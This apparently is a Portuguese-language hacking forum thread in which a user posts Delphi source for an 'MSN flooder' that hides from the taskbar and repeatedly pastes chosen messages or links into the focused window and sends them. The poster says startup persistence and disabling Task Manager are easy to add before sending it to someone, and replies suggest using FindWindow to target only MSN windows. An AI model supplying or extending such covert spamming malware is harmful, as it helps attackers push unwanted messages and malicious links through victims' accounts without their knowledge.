Delphi [Comando] Comando Flooder MSN

[overdose]

E ae galera... blz?
A funcao que eu vou colocar abaixo e quase igual aqueles virus chatos de msn, que fica mandando mensagem diretas com links... e tals..
entao nao executem !
se executarem e so retirar pelo gerenciador de tarefas.

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls,Clipbrd,ComCtrls;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Memo1: TMemo;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
begin
Clipboard.AsText := memo1.Text;
keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY or 0, 0);
keybd_event(86, 0, 0, 0);
keybd_event(VK_CONTROL, $45, KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP, 0);
keybd_event(VK_RETURN, 0, KEYEVENTF_EXTENDEDKEY or 0, 0);
end;

procedure TForm1.FormCreate(Sender: TObject);
type
TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;
var
Handle: THandle;
RegisterServiceProcess: TRegisterServiceProcess;
begin
SetWindowLong(Application.Handle, GWL_EXSTYLE,   //A aplicacao nao aparece na barra de tarevas
GetWindowLong(Application.Handle, GWL_EXSTYLE) or
WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
Timer1.Enabled:=true;       //Ativa o Timer
end;

end.

Bom galera....
esse comando e bem simples..
eu nao coloquei para iniciar com o Windows e nem para desabilitar o gerenciador de tarefas, mais e muito facil de acrescentar (nao coloquei caso alguem execute, seja mais facil de retirar, ai caso voce queira enviar para alguem e bom acrescentar esses comandos)

o que eles faz?
ele roda um handle e procura de tempo em tempo por janelas de msn (tudo aonde da pra digitar, navegador, bloco de notas, ETC) depois ele comeca a enviar mensagems ou links (poder ser mensagem, arquivo, link vai de seu gosto)...

Bom e isso galera....
Espero que gostem.


OBS: sou novo aqui no forum, entao se eu estiver postando errado me deem uma dica ai galera....


Valews ai :cool:

[Ov3r]

bom valew cara pelo psot!!!

[Hot_Boy]

vlwww...
vo v c funfa c alguem...
flwww

[Azurus]

O que ele faz:
Ele copia o conteudo do meo para o clipboard (a mesma coisa que se fossem pressionadas as teclas CTRL + C em um texto selecionado) depois emula o pressionamento das teclas para colar na janela e enviar.

Legalzinho, mas vc poderia usar FindWindow para pegar só as janelas do msn e tals, mas legal pra galera estudar.

[]s

[Kaique The Hunter Hacker]

Boa Cara Muito Bom Mesmo

[R3D]

como q eu faço para ele pegar só a janela do msn?